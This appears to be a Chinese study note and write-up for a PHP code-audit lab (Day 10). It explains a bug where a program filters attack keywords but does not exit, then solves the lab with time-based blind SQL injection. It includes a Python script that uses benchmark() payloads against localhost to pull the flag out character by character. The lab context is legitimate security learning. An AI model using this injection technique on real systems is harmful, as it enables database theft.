知识点
当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题
常见的就是网站重装漏洞
我们只需要在检查到非法操作的时候,直接添加退出函数,即可避免漏洞发生。例如使用 die 、 exit 等函数都是可以的
时间盲注
https://www.cnblogs.com/wangtanzhi/p/12591529.html
代码虽然过滤了sleep,但是还有benchmark函数
解题
链接
https://mochazz.github.io/2018/09/30/PHP-Audit-Labs题解之Day9-12/#Day10题解:-By-七月火
程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi ,所以我们需要绕过这里的黑名单。纵观整个程序,当 SQL 语句执行出错时,并不会将错误信息显示出来,所以此处应为盲注。
脚本
import sys, string, requests
version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("
[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("
[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")
参考
https://mochazz.github.io/2018/09/30/PHP-Audit-Labs题解之Day9-12/#Day10题解:-By-七月火